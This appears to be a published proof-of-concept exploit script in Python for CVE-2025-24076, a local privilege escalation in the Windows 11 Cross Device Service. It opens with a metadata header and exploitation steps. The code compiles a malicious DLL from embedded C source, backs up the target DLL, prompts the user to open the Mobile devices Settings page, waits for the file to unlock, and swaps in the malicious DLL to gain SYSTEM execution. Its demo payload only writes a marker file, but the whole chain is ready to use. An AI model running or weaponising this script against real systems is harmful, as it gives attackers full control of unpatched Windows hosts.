#!/usr/bin/env python3
# Exploit Title: Microsoft Windows 11 Version 24H2 Cross Device Service - Elevation of Privilege
# Author: Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-06-06
# Tested on: Windows 11 Version 24H2 for x64-based Systems (10.0.26100.3476)
# CVE: CVE-2025-24076
#
# Affected Versions:
# - Windows 11 Version 24H2 (x64 and ARM64)
# - Windows 11 Version 23H2 (x64 and ARM64)
# - Windows 11 Version 22H2 (x64 and ARM64)
# - Windows Server 2025
# - Windows Server 2022 23H2 (Server Core installation)
#
# Type: Elevation of Privilege
# Platform: Microsoft Windows
# Author Country: Jordan
# CVSS v3.1 Score: 7.3 (Important)
# Weakness: CWE-284: Improper Access Control
# Attack Vector: Local
# Privileges Required: Low
# User Interaction: Required
# Scope: Unchanged
# Confidentiality, Integrity, Availability Impact: High
# Exploit Code Maturity: Unproven
# Remediation Level: Official Fix
# Description:
# This vulnerability affects Microsoft Windows 11 (various versions including 24H2, 23H2, and 22H2)
# and Windows Server 2025. It targets improper access control in the Windows Cross Device Service,
# allowing a low-privileged local attacker to overwrite a critical DLL file (CrossDevice.Streaming.Source.dll)
# in a writable directory. After triggering user interaction by opening Windows "Mobile devices" Settings,
# the attacker can replace the DLL with a malicious version, leading to SYSTEM privilege escalation.
#
# Steps of exploitation:
# 1. Verify the presence of the vulnerable DLL in the writable directory.
# 2. Build a malicious DLL that executes code with SYSTEM privileges upon loading.
# 3. Backup the original DLL to allow recovery.
# 4. Trigger the DLL load by instructing the user to open the "Mobile devices" Settings page.
# 5. Wait until the DLL is unlocked and replace it with the malicious DLL.
# 6. Achieve SYSTEM privileges when the system loads the malicious DLL.
#
# This exploit requires low privileges and user interaction but has low attack complexity
# and results in high impact due to full privilege escalation.
#
import os
import shutil
import time
from pathlib import Path
import subprocess
# Target DLL name based on vulnerability research
DLL_NAME = "CrossDevice.Streaming.Source.dll"
TARGET_PATH = Path("C:/ProgramData/CrossDevice")
MALICIOUS_DLL = Path("malicious.dll")
BACKUP_ORIGINAL_DLL = Path("original_backup.dll")
# C source code for malicious DLL
MALICIOUS_C_CODE = r'''
#include <windows.h>
#include <stdio.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
FILE *file = fopen("C:\\poc_only_admin_can_write_to_c.txt", "w");
if (file) {
fputs("Exploit succeeded! You have SYSTEM privileges.\n", file);
fclose(file);
}
}
return TRUE;
}
'''
def build_malicious_dll():
print("[*] Building malicious DLL from C source...")
c_file = Path("malicious.c")
# Write C source code to file
with open(c_file, "w") as f:
f.write(MALICIOUS_C_CODE)
# Compile DLL using gcc (MinGW)
compile_cmd = [
"gcc", "-shared", "-o", str(MALICIOUS_DLL), str(c_file),
"-Wl,--subsystem,windows"
]
try:
subprocess.run(compile_cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
print(f"[+] Malicious DLL built successfully: {MALICIOUS_DLL}")
# Clean up C source file
c_file.unlink()
return True
except subprocess.CalledProcessError as e:
print("[!] Failed to build malicious DLL.")
print("gcc output:", e.stderr.decode())
return False
def is_vulnerable():
if not TARGET_PATH.exists():
print("[!] Target directory not found.")
return False
dll_path = TARGET_PATH / DLL_NAME
if not dll_path.exists():
print("[!] Target DLL not found.")
return False
print("[+] System appears vulnerable, DLL found in a writable path.")
return True
def backup_original():
dll_path = TARGET_PATH / DLL_NAME
backup_path = TARGET_PATH / BACKUP_ORIGINAL_DLL
shutil.copyfile(dll_path, backup_path)
print(f"[+] Backup created at: {backup_path}")
def replace_with_malicious():
dll_path = TARGET_PATH / DLL_NAME
try:
shutil.copyfile(MALICIOUS_DLL, dll_path)
print("[+] Successfully replaced the DLL with malicious version.")
return True
except PermissionError:
print("[!] Cannot write to DLL. Make sure the process using it is stopped.")
return False
def monitor_and_replace():
dll_path = TARGET_PATH / DLL_NAME
print("[*] Monitoring DLL until it is unlocked...")
while True:
try:
with open(dll_path, 'rb+') as f:
print("[+] File is unlocked. Attempting replacement...")
time.sleep(0.5)
return replace_with_malicious()
except PermissionError:
time.sleep(0.5)
def trigger_com():
print("[*] To trigger DLL load, please open Windows Settings -> Mobile devices")
input("[*] After opening Settings, press Enter to continue...")
def main():
if not build_malicious_dll():
return
if not is_vulnerable():
return
backup_original()
trigger_com()
success = monitor_and_replace()
if success:
print("[✓] Exploit completed successfully. Check results (e.g., C:\\poc_only_admin_can_write_to_c.txt).")
else:
print("[✗] Exploit failed.")
if __name__ == "__main__":
main()